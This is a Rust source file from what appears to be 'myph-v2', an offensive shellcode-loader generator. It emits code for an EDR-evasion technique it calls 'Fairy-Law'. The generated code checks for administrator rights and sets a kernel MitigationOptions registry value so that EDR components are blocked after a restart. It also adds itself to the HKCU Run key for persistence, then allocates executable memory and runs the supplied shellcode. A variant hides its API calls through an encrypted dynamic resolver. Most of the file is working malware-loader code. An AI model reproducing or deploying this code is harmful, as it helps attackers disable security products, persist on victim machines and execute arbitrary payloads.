myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
fairy_law.rs (24884B)
1 pub fn fairy_law_import() -> String { 2 r#" 3 use std::ptr; 4 "# 5 .to_string() 6 } 7 8 pub fn fairy_law_const() -> String { 9 format!( 10 r#" 11 {} 12 13 const TOKEN_QUERY: u32 = 0x0008; 14 const TOKEN_ELEVATION: u32 = 20; 15 const HKEY_CURRENT_USER: isize = 0x80000001u32 as isize; 16 const HKEY_LOCAL_MACHINE: isize = 0x80000002u32 as isize; 17 const KEY_SET_VALUE: u32 = 0x0002; 18 const KEY_WRITE: u32 = 0x20006; 19 const KEY_READ: u32 = 0x20019; 20 const REG_SZ: u32 = 1; 21 const REG_BINARY: u32 = 3; 22 const REG_OPTION_NON_VOLATILE: u32 = 0; 23 const ERROR_SUCCESS: i32 = 0; 24 const MAX_PATH: usize = 260; 25 26 #[repr(C)] 27 struct TokenElevation {{ 28 token_is_elevated: u32, 29 }} 30 31 #[repr(C)] 32 struct ProcessMitigationBinarySignaturePolicy {{ 33 _bitfield: u32, 34 }} 35 36 const PROCESS_SIGNATURE_POLICY: u32 = 8; 37 38 #[link(name = "kernel32")] 39 extern "system" {{ 40 fn GetCurrentProcess() -> *mut c_void; 41 42 fn OpenProcessToken( 43 process_handle: *mut c_void, 44 desired_access: u32, 45 token_handle: *mut *mut c_void, 46 ) -> i32; 47 48 fn GetTokenInformation( 49 token_handle: *mut c_void, 50 token_information_class: u32, 51 token_information: *mut c_void, 52 token_information_length: u32, 53 return_length: *mut u32, 54 ) -> i32; 55 56 fn CloseHandle(handle: *mut c_void) -> i32; 57 58 fn GetModuleFileNameA( 59 module: *mut c_void, 60 filename: *mut u8, 61 size: u32, 62 ) -> u32; 63 64 fn GetProcessMitigationPolicy( 65 process: *mut c_void, 66 mitigation_policy: u32, 67 buffer: *mut c_void, 68 size: usize, 69 ) -> i32; 70 }} 71 72 #[link(name = "advapi32")] 73 extern "system" {{ 74 fn RegOpenKeyExA( 75 key: isize, 76 sub_key: *const i8, 77 options: u32, 78 desired: u32, 79 result: *mut isize, 80 ) -> i32; 81 82 fn RegSetValueExA( 83 key: isize, 84 value_name: *const i8, 85 reserved: u32, 86 value_type: u32, 87 data: *const u8, 88 data_size: u32, 89 ) -> i32; 90 91 fn RegCreateKeyExA( 92 key: isize, 93 sub_key: *const i8, 94 reserved: u32, 95 class: *const i8, 96 options: u32, 97 desired: u32, 98 security_attributes: *mut c_void, 99 result: *mut isize, 100 disposition: *mut u32, 101 ) -> i32; 102 103 fn RegCloseKey(key: isize) -> i32; 104 }} 105 106 #[link(name = "ntdll")] 107 extern "system" {{ 108 fn RtlCopyMemory( 109 destination: *mut c_void, 110 source: *const c_void, 111 length: usize, 112 ); 113 }} 114 "#, 115 super::common::COMMON_MEMORY_CONSTANTS 116 ) 117 } 118 119 pub fn fairy_law_init() -> String { 120 String::new() 121 } 122 123 fn generate_is_process_elevated() -> String { 124 r#" 125 fn is_process_elevated() -> bool { 126 unsafe { 127 let mut token: *mut std::ffi::c_void = ptr::null_mut(); 128 129 if OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) == 0 { 130 return false; 131 } 132 133 let mut elevation = TokenElevation { token_is_elevated: 0 }; 134 let mut size: u32 = 0; 135 136 let result = GetTokenInformation( 137 token, 138 TOKEN_ELEVATION, 139 &mut elevation as *mut _ as *mut std::ffi::c_void, 140 std::mem::size_of::<TokenElevation>() as u32, 141 &mut size, 142 ); 143 144 CloseHandle(token); 145 146 result != 0 && elevation.token_is_elevated != 0 147 } 148 } 149 "# 150 .to_string() 151 } 152 153 fn generate_check_mitigation_policy() -> String { 154 r#" 155 fn check_mitigation_policy_enabled() -> bool { 156 unsafe { 157 let mut sig = ProcessMitigationBinarySignaturePolicy { _bitfield: 0 }; 158 159 let result = GetProcessMitigationPolicy( 160 GetCurrentProcess(), 161 PROCESS_SIGNATURE_POLICY, 162 &mut sig as *mut _ as *mut std::ffi::c_void, 163 std::mem::size_of::<ProcessMitigationBinarySignaturePolicy>(), 164 ); 165 166 if result == 0 { 167 return false; 168 } 169 170 (sig._bitfield & 1) != 0 171 } 172 } 173 "# 174 .to_string() 175 } 176 177 fn generate_enable_mitigation_policy() -> String { 178 r#" 179 fn enable_mitigation_policy() -> bool { 180 unsafe { 181 let subkey = b"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\kernel\0"; 182 let value_name = b"MitigationOptions\0"; 183 184 let mitigation_value: [u8; 20] = [ 185 0x00, 0x01, 0x00, 0x00, 186 0x00, 0x00, 0x00, 0x00, 187 0x00, 0x00, 0x00, 0x00, 188 0x00, 0x00, 0x00, 0x00, 189 0x00, 0x00, 0x00, 0x00, 190 ]; 191 192 let mut key: isize = 0; 193 let mut disposition: u32 = 0; 194 195 let result = RegCreateKeyExA( 196 HKEY_LOCAL_MACHINE, 197 subkey.as_ptr() as *const i8, 198 0, 199 ptr::null(), 200 REG_OPTION_NON_VOLATILE, 201 KEY_WRITE | KEY_READ, 202 ptr::null_mut(), 203 &mut key, 204 &mut disposition, 205 ); 206 207 if result != ERROR_SUCCESS { 208 return false; 209 } 210 211 let set_result = RegSetValueExA( 212 key, 213 value_name.as_ptr() as *const i8, 214 0, 215 REG_BINARY, 216 mitigation_value.as_ptr(), 217 mitigation_value.len() as u32, 218 ); 219 220 RegCloseKey(key); 221 222 set_result == ERROR_SUCCESS 223 } 224 } 225 "# 226 .to_string() 227 } 228 229 fn generate_add_to_startup() -> String { 230 r#" 231 fn add_to_startup() -> bool { 232 unsafe { 233 let mut exe_path = [0u8; MAX_PATH]; 234 let len = GetModuleFileNameA(ptr::null_mut(), exe_path.as_mut_ptr(), MAX_PATH as u32); 235 236 if len == 0 { 237 return false; 238 } 239 240 let mut filename_start = 0; 241 let mut filename_end = len as usize; 242 243 for i in (0..len as usize).rev() { 244 if exe_path[i] == b'\\' || exe_path[i] == b'/' { 245 filename_start = i + 1; 246 break; 247 } 248 } 249 250 for i in filename_start..len as usize { 251 if exe_path[i] == b'.' { 252 filename_end = i; 253 break; 254 } 255 } 256 257 let mut value_name = [0u8; MAX_PATH]; 258 let name_len = filename_end - filename_start; 259 if name_len == 0 || name_len >= MAX_PATH - 1 { 260 return false; 261 } 262 263 for i in 0..name_len { 264 value_name[i] = exe_path[filename_start + i]; 265 } 266 value_name[name_len] = 0; 267 268 let subkey = b"Software\\Microsoft\\Windows\\CurrentVersion\\Run\0"; 269 270 let mut key: isize = 0; 271 272 let result = RegOpenKeyExA( 273 HKEY_CURRENT_USER, 274 subkey.as_ptr() as *const i8, 275 0, 276 KEY_SET_VALUE, 277 &mut key, 278 ); 279 280 if result != ERROR_SUCCESS { 281 return false; 282 } 283 284 let set_result = RegSetValueExA( 285 key, 286 value_name.as_ptr() as *const i8, 287 0, 288 REG_SZ, 289 exe_path.as_ptr(), 290 len + 1, 291 ); 292 293 RegCloseKey(key); 294 295 set_result == ERROR_SUCCESS 296 } 297 } 298 "# 299 .to_string() 300 } 301 302 fn generate_execute_shellcode() -> String { 303 r#" 304 fn execute_shellcode(shellcode: &[u8]) { 305 unsafe { 306 let addr = VirtualAlloc( 307 ptr::null_mut(), 308 shellcode.len(), 309 MEM_COMMIT | MEM_RESERVE, 310 PAGE_READWRITE, 311 ); 312 313 if addr.is_null() { 314 panic!("failed"); 315 } 316 317 RtlCopyMemory( 318 addr, 319 shellcode.as_ptr() as *const std::ffi::c_void, 320 shellcode.len(), 321 ); 322 323 let mut old_protect: u32 = PAGE_READWRITE; 324 let result = VirtualProtect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect); 325 326 if result == 0 { 327 panic!("failed"); 328 } 329 330 let shellcode_fn: unsafe extern "system" fn() = std::mem::transmute(addr); 331 shellcode_fn(); 332 } 333 } 334 "# 335 .to_string() 336 } 337 338 pub fn fairy_law_process() -> String { 339 format!( 340 r#" 341 {is_elevated_fn} 342 343 {check_mitigation_fn} 344 345 {enable_mitigation_fn} 346 347 {add_startup_fn} 348 349 {execute_shellcode_fn} 350 351 if !check_mitigation_policy_enabled() {{ 352 if !is_process_elevated() {{ 353 eprintln!("[!] This binary must be run with Administrator privileges!"); 354 panic!("failed"); 355 }} 356 357 if !enable_mitigation_policy() {{ 358 eprintln!("[!] Failed to enable MicrosoftSignedOnly policy!"); 359 panic!("failed"); 360 }} 361 362 if !add_to_startup() {{ 363 eprintln!("[!] Failed to add persistence!"); 364 panic!("failed"); 365 }} 366 367 eprintln!("[+] MicrosoftSignedOnly policy enabled successfully!"); 368 eprintln!("[+] EDR components will be blocked after restart."); 369 eprintln!("[+] System restart required. Please restart and run again."); 370 }} else {{ 371 execute_shellcode(shellcode); 372 }} 373 "#, 374 is_elevated_fn = generate_is_process_elevated(), 375 check_mitigation_fn = generate_check_mitigation_policy(), 376 enable_mitigation_fn = generate_enable_mitigation_policy(), 377 add_startup_fn = generate_add_to_startup(), 378 execute_shellcode_fn = generate_execute_shellcode(), 379 ) 380 } 381 382 fn generate_fairy_law_template(function_name: &str) -> String { 383 super::common::TechniqueTemplateBuilder::new() 384 .with_import(fairy_law_import()) 385 .with_const(fairy_law_const()) 386 .with_init(fairy_law_init()) 387 .with_process(fairy_law_process()) 388 .build(function_name) 389 } 390 391 pub fn generate_fairy_law_code(function_name: &str) -> String { 392 generate_fairy_law_template(function_name) 393 } 394 395 fn fairy_law_process_with_dynamic_resolver( 396 encryptor: &dyn crate::encryption::Encryptor, 397 ) -> Result<String, String> { 398 use super::dynamic_common::*; 399 400 let virtual_alloc = virtual_alloc_resolver(encryptor)?; 401 let virtual_protect = virtual_protect_resolver(encryptor)?; 402 let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?; 403 let get_current_process = get_current_process_resolver(encryptor)?; 404 let open_process_token = open_process_token_resolver(encryptor)?; 405 let get_token_information = get_token_information_resolver(encryptor)?; 406 let close_handle = close_handle_resolver(encryptor)?; 407 let get_module_file_name_a = get_module_file_name_a_resolver(encryptor)?; 408 let reg_open_key_ex_a = reg_open_key_ex_a_resolver(encryptor)?; 409 let reg_set_value_ex_a = reg_set_value_ex_a_resolver(encryptor)?; 410 let reg_create_key_ex_a = reg_create_key_ex_a_resolver(encryptor)?; 411 let reg_close_key = reg_close_key_resolver(encryptor)?; 412 let get_process_mitigation_policy = get_process_mitigation_policy_resolver(encryptor)?; 413 414 Ok(format!( 415 r#" 416 unsafe {{ 417 {get_current_process_resolver} 418 {get_current_process_cast} 419 420 {open_process_token_resolver} 421 {open_process_token_cast} 422 423 {get_token_information_resolver} 424 {get_token_information_cast} 425 426 {close_handle_resolver} 427 {close_handle_cast} 428 429 {get_process_mitigation_policy_resolver} 430 {get_process_mitigation_policy_cast} 431 432 {reg_create_key_ex_a_resolver} 433 {reg_create_key_ex_a_cast} 434 435 {reg_set_value_ex_a_resolver} 436 {reg_set_value_ex_a_cast} 437 438 {reg_close_key_resolver} 439 {reg_close_key_cast} 440 441 {get_module_file_name_a_resolver} 442 {get_module_file_name_a_cast} 443 444 {reg_open_key_ex_a_resolver} 445 {reg_open_key_ex_a_cast} 446 447 {virtual_alloc_resolver} 448 {virtual_alloc_cast} 449 450 {rtl_copy_memory_resolver} 451 {rtl_copy_memory_cast} 452 453 {virtual_protect_resolver} 454 {virtual_protect_cast} 455 456 let mut sig = ProcessMitigationBinarySignaturePolicy {{ _bitfield: 0 }}; 457 let result = get_process_mitigation_policy( 458 get_current_process(), 459 PROCESS_SIGNATURE_POLICY, 460 &mut sig as *mut _ as *mut std::ffi::c_void, 461 std::mem::size_of::<ProcessMitigationBinarySignaturePolicy>(), 462 ); 463 464 let policy_enabled = result != 0 && (sig._bitfield & 1) != 0; 465 466 if !policy_enabled {{ 467 let mut token: *mut std::ffi::c_void = ptr::null_mut(); 468 469 if open_process_token(get_current_process(), TOKEN_QUERY, &mut token) == 0 {{ 470 eprintln!("[!] This binary must be run with Administrator privileges!"); 471 panic!("failed"); 472 }} 473 474 let mut elevation = TokenElevation {{ token_is_elevated: 0 }}; 475 let mut size: u32 = 0; 476 477 let token_result = get_token_information( 478 token, 479 TOKEN_ELEVATION, 480 &mut elevation as *mut _ as *mut std::ffi::c_void, 481 std::mem::size_of::<TokenElevation>() as u32, 482 &mut size, 483 ); 484 485 close_handle(token); 486 487 if token_result == 0 || elevation.token_is_elevated == 0 {{ 488 eprintln!("[!] This binary must be run with Administrator privileges!"); 489 panic!("failed"); 490 }} 491 492 let subkey = b"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\kernel\0"; 493 let value_name = b"MitigationOptions\0"; 494 495 let mitigation_value: [u8; 20] = [ 496 0x00, 0x01, 0x00, 0x00, 497 0x00, 0x00, 0x00, 0x00, 498 0x00, 0x00, 0x00, 0x00, 499 0x00, 0x00, 0x00, 0x00, 500 0x00, 0x00, 0x00, 0x00, 501 ]; 502 503 let mut key: isize = 0; 504 let mut disposition: u32 = 0; 505 506 let create_result = reg_create_key_ex_a( 507 HKEY_LOCAL_MACHINE, 508 subkey.as_ptr() as *const i8, 509 0, 510 ptr::null(), 511 REG_OPTION_NON_VOLATILE, 512 KEY_WRITE | KEY_READ, 513 ptr::null_mut(), 514 &mut key, 515 &mut disposition, 516 ); 517 518 if create_result != ERROR_SUCCESS {{ 519 eprintln!("[!] Failed to enable MicrosoftSignedOnly policy!"); 520 panic!("failed"); 521 }} 522 523 let set_result = reg_set_value_ex_a( 524 key, 525 value_name.as_ptr() as *const i8, 526 0, 527 REG_BINARY, 528 mitigation_value.as_ptr(), 529 mitigation_value.len() as u32, 530 ); 531 532 reg_close_key(key); 533 534 if set_result != ERROR_SUCCESS {{ 535 eprintln!("[!] Failed to enable MicrosoftSignedOnly policy!"); 536 panic!("failed"); 537 }} 538 539 let mut exe_path = [0u8; MAX_PATH]; 540 let len = get_module_file_name_a(ptr::null_mut(), exe_path.as_mut_ptr(), MAX_PATH as u32); 541 542 if len > 0 {{ 543 let mut filename_start = 0; 544 let mut filename_end = len as usize; 545 546 for i in (0..len as usize).rev() {{ 547 if exe_path[i] == b'\\' || exe_path[i] == b'/' {{ 548 filename_start = i + 1; 549 break; 550 }} 551 }} 552 553 for i in filename_start..len as usize {{ 554 if exe_path[i] == b'.' {{ 555 filename_end = i; 556 break; 557 }} 558 }} 559 560 let mut value_name = [0u8; MAX_PATH]; 561 let name_len = filename_end - filename_start; 562 if name_len > 0 && name_len < MAX_PATH - 1 {{ 563 for i in 0..name_len {{ 564 value_name[i] = exe_path[filename_start + i]; 565 }} 566 value_name[name_len] = 0; 567 568 let startup_subkey = b"Software\\Microsoft\\Windows\\CurrentVersion\\Run\0"; 569 570 let mut startup_key: isize = 0; 571 572 let open_result = reg_open_key_ex_a( 573 HKEY_CURRENT_USER, 574 startup_subkey.as_ptr() as *const i8, 575 0, 576 KEY_SET_VALUE, 577 &mut startup_key, 578 ); 579 580 if open_result == ERROR_SUCCESS {{ 581 reg_set_value_ex_a( 582 startup_key, 583 value_name.as_ptr() as *const i8, 584 0, 585 REG_SZ, 586 exe_path.as_ptr(), 587 len + 1, 588 ); 589 590 reg_close_key(startup_key); 591 }} 592 }} 593 }} 594 595 eprintln!("[+] MicrosoftSignedOnly policy enabled successfully!"); 596 eprintln!("[+] EDR components will be blocked after restart."); 597 eprintln!("[+] System restart required. Please restart and run again."); 598 }} else {{ 599 let addr = virtual_alloc( 600 ptr::null_mut(), 601 shellcode.len(), 602 MEM_COMMIT | MEM_RESERVE, 603 PAGE_READWRITE, 604 ); 605 606 if addr.is_null() {{ 607 panic!("failed"); 608 }} 609 610 rtl_copy_memory( 611 addr, 612 shellcode.as_ptr() as *const std::ffi::c_void, 613 shellcode.len(), 614 ); 615 616 let mut old_protect: u32 = PAGE_READWRITE; 617 let protect_result = virtual_protect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect); 618 619 if protect_result == 0 {{ 620 panic!("failed"); 621 }} 622 623 let shellcode_fn: unsafe extern "system" fn() = std::mem::transmute(addr); 624 shellcode_fn(); 625 }} 626 }} 627 "#, 628 get_current_process_resolver = get_current_process.resolver_code, 629 get_current_process_cast = get_current_process.cast_code, 630 open_process_token_resolver = open_process_token.resolver_code, 631 open_process_token_cast = open_process_token.cast_code, 632 get_token_information_resolver = get_token_information.resolver_code, 633 get_token_information_cast = get_token_information.cast_code, 634 close_handle_resolver = close_handle.resolver_code, 635 close_handle_cast = close_handle.cast_code, 636 get_module_file_name_a_resolver = get_module_file_name_a.resolver_code, 637 get_module_file_name_a_cast = get_module_file_name_a.cast_code, 638 reg_open_key_ex_a_resolver = reg_open_key_ex_a.resolver_code, 639 reg_open_key_ex_a_cast = reg_open_key_ex_a.cast_code, 640 reg_set_value_ex_a_resolver = reg_set_value_ex_a.resolver_code, 641 reg_set_value_ex_a_cast = reg_set_value_ex_a.cast_code, 642 reg_create_key_ex_a_resolver = reg_create_key_ex_a.resolver_code, 643 reg_create_key_ex_a_cast = reg_create_key_ex_a.cast_code, 644 reg_close_key_resolver = reg_close_key.resolver_code, 645 reg_close_key_cast = reg_close_key.cast_code, 646 get_process_mitigation_policy_resolver = get_process_mitigation_policy.resolver_code, 647 get_process_mitigation_policy_cast = get_process_mitigation_policy.cast_code, 648 virtual_alloc_resolver = virtual_alloc.resolver_code, 649 virtual_alloc_cast = virtual_alloc.cast_code, 650 rtl_copy_memory_resolver = rtl_copy_memory.resolver_code, 651 rtl_copy_memory_cast = rtl_copy_memory.cast_code, 652 virtual_protect_resolver = virtual_protect.resolver_code, 653 virtual_protect_cast = virtual_protect.cast_code, 654 )) 655 } 656 657 fn generate_fairy_law_template_with_dynamic_resolver( 658 function_name: &str, 659 _encryption_type: &str, 660 encryptor: &dyn crate::encryption::Encryptor, 661 ) -> Result<String, String> { 662 let process_code = fairy_law_process_with_dynamic_resolver(encryptor)?; 663 664 Ok(super::common::TechniqueTemplateBuilder::new() 665 .with_import(fairy_law_import()) 666 .with_const(fairy_law_const()) 667 .with_init(fairy_law_init()) 668 .with_process(process_code) 669 .build(function_name)) 670 } 671 672 pub fn generate_fairy_law_code_with_dynamic_resolver( 673 function_name: &str, 674 encryption_type: &str, 675 encryptor: &dyn crate::encryption::Encryptor, 676 ) -> String { 677 generate_fairy_law_template_with_dynamic_resolver(function_name, encryption_type, encryptor) 678 .unwrap_or_else(|err| { 679 panic!( 680 "Failed to generate Fairy-Law code with dynamic resolver (encryption: {}): {}", 681 encryption_type, err 682 ) 683 }) 684 } 685 686 pub struct FairyLawGenerator; 687 688 impl super::trait_generator::TechniqueGenerator for FairyLawGenerator { 689 fn generate_code(&self, _process: &str, function_name: &str) -> String { 690 generate_fairy_law_code(function_name) 691 } 692 693 fn generate_code_with_dynamic_resolver( 694 &self, 695 _process: &str, 696 function_name: &str, 697 encryption_type: &str, 698 encryptor: &dyn crate::encryption::Encryptor, 699 ) -> String { 700 generate_fairy_law_code_with_dynamic_resolver(function_name, encryption_type, encryptor) 701 } 702 703 fn requires_process(&self) -> bool { 704 false 705 } 706 707 fn name(&self) -> &'static str { 708 "Fairy-Law" 709 } 710 } 711 712 #[cfg(test)] 713 mod tests { 714 use super::*; 715 716 #[test] 717 fn test_generate_fairy_law_template_contains_all_parts() { 718 let template = generate_fairy_law_template("MyFunction"); 719 assert!(template.contains("use std::ptr")); 720 assert!(template.contains("fn MyFunction")); 721 assert!(template.contains("is_process_elevated")); 722 assert!(template.contains("OpenProcessToken")); 723 assert!(template.contains("RegSetValueExA")); 724 assert!(template.contains("eprintln!")); 725 } 726 727 #[test] 728 fn test_generate_fairy_law_code() { 729 let code = generate_fairy_law_code("MyRandomFunc"); 730 assert!(code.contains("fn MyRandomFunc")); 731 assert!(code.contains("check_mitigation_policy_enabled")); 732 assert!(code.contains("enable_mitigation_policy")); 733 } 734 735 #[test] 736 fn test_fairy_law_does_not_use_process_param() { 737 let code = generate_fairy_law_code("TestFunc"); 738 assert!(!code.contains("{{PROCESS}}")); 739 } 740 741 #[test] 742 fn test_elevation_check_function() { 743 let code = generate_fairy_law_code("TestFunc"); 744 assert!(code.contains("fn is_process_elevated() -> bool")); 745 assert!(code.contains("TOKEN_QUERY")); 746 assert!(code.contains("GetTokenInformation")); 747 } 748 749 #[test] 750 fn test_mitigation_policy_check() { 751 let code = generate_fairy_law_code("TestFunc"); 752 assert!(code.contains("fn check_mitigation_policy_enabled() -> bool")); 753 assert!(code.contains("GetProcessMitigationPolicy")); 754 assert!(code.contains("PROCESS_SIGNATURE_POLICY")); 755 } 756 757 #[test] 758 fn test_registry_modification() { 759 let code = generate_fairy_law_code("TestFunc"); 760 assert!(code.contains("fn enable_mitigation_policy() -> bool")); 761 assert!(code.contains("RegCreateKeyExA")); 762 assert!(code.contains("MitigationOptions")); 763 } 764 765 #[test] 766 fn test_startup_persistence() { 767 let code = generate_fairy_law_code("TestFunc"); 768 assert!(code.contains("fn add_to_startup() -> bool")); 769 assert!(code.contains("RegOpenKeyExA")); 770 assert!(code.contains("CurrentVersion")); 771 } 772 773 #[test] 774 fn test_warning_messages() { 775 let code = generate_fairy_law_code("TestFunc"); 776 assert!(code.contains("eprintln!")); 777 assert!(code.contains("Administrator privileges")); 778 assert!(code.contains("System restart required")); 779 } 780 781 #[test] 782 fn test_no_print_warning_function() { 783 let code = generate_fairy_law_code("TestFunc"); 784 assert!(!code.contains("fn print_warning")); 785 } 786 787 #[test] 788 fn test_shellcode_execution() { 789 let code = generate_fairy_law_code("TestFunc"); 790 assert!(code.contains("fn execute_shellcode")); 791 assert!(code.contains("VirtualAlloc")); 792 assert!(code.contains("VirtualProtect")); 793 } 794 795 #[test] 796 fn test_no_automatic_uac() { 797 let code = generate_fairy_law_code("TestFunc"); 798 assert!(!code.contains("ShellExecuteExA")); 799 assert!(!code.contains("runas")); 800 } 801 802 #[test] 803 fn test_no_automatic_restart() { 804 let code = generate_fairy_law_code("TestFunc"); 805 assert!(!code.contains("Restart-Computer")); 806 assert!(!code.contains("powershell.exe")); 807 } 808 }